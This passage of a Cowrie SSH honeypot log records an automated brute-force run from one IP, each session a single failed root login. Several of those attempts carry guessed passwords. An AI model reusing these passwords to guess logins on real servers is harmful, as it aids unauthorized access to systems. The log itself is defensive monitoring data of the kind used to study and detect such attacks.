98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:58.917027Z","src_ip":"60.165.124.241","session":"fc8bbe666350","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tslinux","message":"login attempt [root/tslinux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:59.976998Z","src_ip":"60.165.124.241","session":"fc8bbe666350","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:01.234840Z","src_ip":"60.165.124.241","session":"fc8bbe666350","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":45526,"dst_ip":"10.17.0.5","dst_port":22,"session":"56a301a2494d","protocol":"ssh","message":"New connection: 60.165.124.241:45526 (10.17.0.5:22) [session: 56a301a2494d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:01.453481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:01.459663Z","src_ip":"60.165.124.241","session":"56a301a2494d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:01.698185Z","src_ip":"60.165.124.241","session":"56a301a2494d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd@2025","message":"login attempt [root/P@ssw0rd@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:02.422220Z","src_ip":"60.165.124.241","session":"56a301a2494d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:03.665177Z","src_ip":"60.165.124.241","session":"56a301a2494d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":48818,"dst_ip":"10.17.0.5","dst_port":22,"session":"2610454d0542","protocol":"ssh","message":"New connection: 60.165.124.241:48818 (10.17.0.5:22) [session: 2610454d0542]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:03.899977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:03.905550Z","src_ip":"60.165.124.241","session":"2610454d0542","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:04.145618Z","src_ip":"60.165.124.241","session":"2610454d0542","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"5tgb^YHN7ujm*IK","message":"login attempt [root/5tgb^YHN7ujm*IK] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:04.869083Z","src_ip":"60.165.124.241","session":"2610454d0542","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:06.113252Z","src_ip":"60.165.124.241","session":"2610454d0542","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":51752,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6f1dd15721a","protocol":"ssh","message":"New connection: 60.165.124.241:51752 (10.17.0.5:22) [session: c6f1dd15721a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:06.385874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:06.391401Z","src_ip":"60.165.124.241","session":"c6f1dd15721a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:06.651810Z","src_ip":"60.165.124.241","session":"c6f1dd15721a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty","message":"login attempt [root/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:07.433934Z","src_ip":"60.165.124.241","session":"c6f1dd15721a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:08.709481Z","src_ip":"60.165.124.241","session":"c6f1dd15721a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55092,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a24d7a9f8bd","protocol":"ssh","message":"New connection: 60.165.124.241:55092 (10.17.0.5:22) [session: 0a24d7a9f8bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:08.939569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:08.944710Z","src_ip":"60.165.124.241","session":"0a24d7a9f8bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:09.190459Z","src_ip":"60.165.124.241","session":"0a24d7a9f8bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qqq123##$$","message":"login attempt [root/qqq123##$$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:09.942230Z","src_ip":"60.165.124.241","session":"0a24d7a9f8bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:11.197911Z","src_ip":"60.165.124.241","session":"0a24d7a9f8bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":57858,"dst_ip":"10.17.0.5","dst_port":22,"session":"67be045f94e6","protocol":"ssh","message":"New connection: 60.165.124.241:57858 (10.17.0.5:22) [session: 67be045f94e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:11.427904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:11.436725Z","src_ip":"60.165.124.241","session":"67be045f94e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:11.681551Z","src_ip":"60.165.124.241","session":"67be045f94e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adminn","message":"login attempt [root/adminn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:12.436247Z","src_ip":"60.165.124.241","session":"67be045f94e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:13.690556Z","src_ip":"60.165.124.241","session":"67be045f94e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":32980,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea59860ad2bf","protocol":"ssh","message":"New connection: 60.165.124.241:32980 (10.17.0.5:22) [session: ea59860ad2bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:13.938612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:13.943790Z","src_ip":"60.165.124.241","session":"ea59860ad2bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:14.182792Z","src_ip":"60.165.124.241","session":"ea59860ad2bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwaszx12","message":"login attempt [root/Qwaszx12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:14.915460Z","src_ip":"60.165.124.241","session":"ea59860ad2bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:16.157935Z","src_ip":"60.165.124.241","session":"ea59860ad2bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":36228,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1ec9e739b68","protocol":"ssh","message":"New connection: 60.165.124.241:36228 (10.17.0.5:22) [session: b1ec9e739b68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:16.396480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:16.404846Z","src_ip":"60.165.124.241","session":"b1ec9e739b68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:16.657862Z","src_ip":"60.165.124.241","session":"b1ec9e739b68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin.123!@#","message":"login attempt [root/Admin.123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:17.402044Z","src_ip":"60.165.124.241","session":"b1ec9e739b68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:18.647218Z","src_ip":"60.165.124.241","session":"b1ec9e739b68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":39174,"dst_ip":"10.17.0.5","dst_port":22,"session":"49a228aee380","protocol":"ssh","message":"New connection: 60.165.124.241:39174 (10.17.0.5:22) [session: 49a228aee380]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:18.903673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:18.909243Z","src_ip":"60.165.124.241","session":"49a228aee380","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:19.158955Z","src_ip":"60.165.124.241","session":"49a228aee380","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcde12345","message":"login attempt [root/abcde12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:19.911640Z","src_ip":"60.165.124.241","session":"49a228aee380","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:21.164746Z","src_ip":"60.165.124.241","session":"49a228aee380","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":42246,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9d635b81dff","protocol":"ssh","message":"New connection: 60.165.124.241:42246 (10.17.0.5:22) [session: f9d635b81dff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:21.388046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:21.393232Z","src_ip":"60.165.124.241","session":"f9d635b81dff","protocol":"ssh"}
